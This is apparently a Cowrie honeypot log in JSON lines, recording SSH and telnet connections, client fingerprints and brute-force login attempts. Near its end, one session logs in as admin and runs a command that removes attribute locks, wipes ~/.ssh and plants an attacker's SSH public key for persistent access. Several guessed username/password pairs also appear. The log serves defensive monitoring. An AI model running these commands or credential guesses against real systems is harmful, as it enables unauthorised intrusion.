{"eventid":"cowrie.session.connect","src_ip":"45.186.220.213","src_port":59544,"dst_ip":"10.17.0.5","dst_port":23,"session":"d70a3259db1b","protocol":"telnet","message":"New connection: 45.186.220.213:59544 (10.17.0.5:23) [session: d70a3259db1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:32:38.918653Z"}
{"eventid":"cowrie.session.closed","duration":39.65682554244995,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:32:44.709796Z","src_ip":"45.58.127.90","session":"201b88fe2a21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.267193078994751,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:32:50.112104Z","src_ip":"91.229.164.17","session":"fdd0d4a6f8dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":56906,"dst_ip":"159.203.135.109","dst_port":22,"session":"65c8a8c8140c","protocol":"ssh","message":"New connection: 103.88.76.27:56906 (159.203.135.109:22) [session: 65c8a8c8140c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:32:53.071351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:32:53.076785Z","src_ip":"103.88.76.27","session":"65c8a8c8140c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:32:53.331645Z","src_ip":"103.88.76.27","session":"65c8a8c8140c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"test999","message":"login attempt [ubuntu/test999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:32:54.381161Z","src_ip":"103.88.76.27","session":"65c8a8c8140c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:32:55.639503Z","src_ip":"103.88.76.27","session":"65c8a8c8140c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.852519273757935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:33:09.771046Z","src_ip":"45.186.220.213","session":"d70a3259db1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":33078,"dst_ip":"159.203.135.109","dst_port":22,"session":"28260ddc3929","protocol":"ssh","message":"New connection: 202.125.94.71:33078 (159.203.135.109:22) [session: 28260ddc3929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:33:27.047598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:33:27.052341Z","src_ip":"202.125.94.71","session":"28260ddc3929","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:33:27.310642Z","src_ip":"202.125.94.71","session":"28260ddc3929","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"passw0rd","message":"login attempt [webuser/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:33:28.375985Z","src_ip":"202.125.94.71","session":"28260ddc3929","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:33:29.637016Z","src_ip":"202.125.94.71","session":"28260ddc3929","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":50484,"dst_ip":"159.203.135.109","dst_port":22,"session":"0514b004160a","protocol":"ssh","message":"New connection: 103.88.76.27:50484 (159.203.135.109:22) [session: 0514b004160a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:33:47.763191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:33:47.767862Z","src_ip":"103.88.76.27","session":"0514b004160a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:33:48.013310Z","src_ip":"103.88.76.27","session":"0514b004160a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"passw0rd","message":"login attempt [webuser/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:33:49.029043Z","src_ip":"103.88.76.27","session":"0514b004160a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:33:50.278224Z","src_ip":"103.88.76.27","session":"0514b004160a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59950,"dst_ip":"10.17.0.5","dst_port":23,"session":"26ca2592c12c","protocol":"telnet","message":"New connection: 45.58.127.90:59950 (10.17.0.5:23) [session: 26ca2592c12c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:34:23.510717Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":54124,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa0c520b4049","protocol":"ssh","message":"New connection: 202.125.94.71:54124 (159.203.135.109:22) [session: aa0c520b4049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:34:24.994577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:34:24.999902Z","src_ip":"202.125.94.71","session":"aa0c520b4049","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:34:25.262669Z","src_ip":"202.125.94.71","session":"aa0c520b4049","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"test1234","message":"login attempt [ubuntu/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:34:26.327409Z","src_ip":"202.125.94.71","session":"aa0c520b4049","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:34:27.588960Z","src_ip":"202.125.94.71","session":"aa0c520b4049","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.5028018951416,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:35:04.013432Z","src_ip":"45.58.127.90","session":"26ca2592c12c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":47104,"dst_ip":"159.203.135.109","dst_port":22,"session":"0973b1227a2b","protocol":"ssh","message":"New connection: 202.125.94.71:47104 (159.203.135.109:22) [session: 0973b1227a2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:35:23.311574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:35:23.317413Z","src_ip":"202.125.94.71","session":"0973b1227a2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:35:23.584984Z","src_ip":"202.125.94.71","session":"0973b1227a2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgoserver","password":"12345","message":"login attempt [csgoserver/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:35:24.674351Z","src_ip":"202.125.94.71","session":"0973b1227a2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.57.16","src_port":56764,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c93c8cdfb0f","protocol":"telnet","message":"New connection: 152.59.57.16:56764 (10.17.0.5:23) [session: 8c93c8cdfb0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:35:24.910895Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:35:25.941092Z","src_ip":"202.125.94.71","session":"0973b1227a2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.311414241790771,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:35:38.222190Z","src_ip":"152.59.57.16","session":"8c93c8cdfb0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39884,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3709376d039","protocol":"telnet","message":"New connection: 45.58.127.90:39884 (10.17.0.5:23) [session: a3709376d039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:14.581241Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":40128,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5ffa67839d6","protocol":"ssh","message":"New connection: 202.125.94.71:40128 (159.203.135.109:22) [session: c5ffa67839d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:22.699208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:22.704024Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:22.963542Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminadminadmin","message":"login attempt [admin/adminadminadmin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:24.021137Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:24.583286Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:24.587360Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:24.592265Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:24.853761Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:25.410785Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:25.414757Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:25.678078Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:36:25.682579Z","src_ip":"202.125.94.71","session":"c5ffa67839d6","protocol":"ssh"}
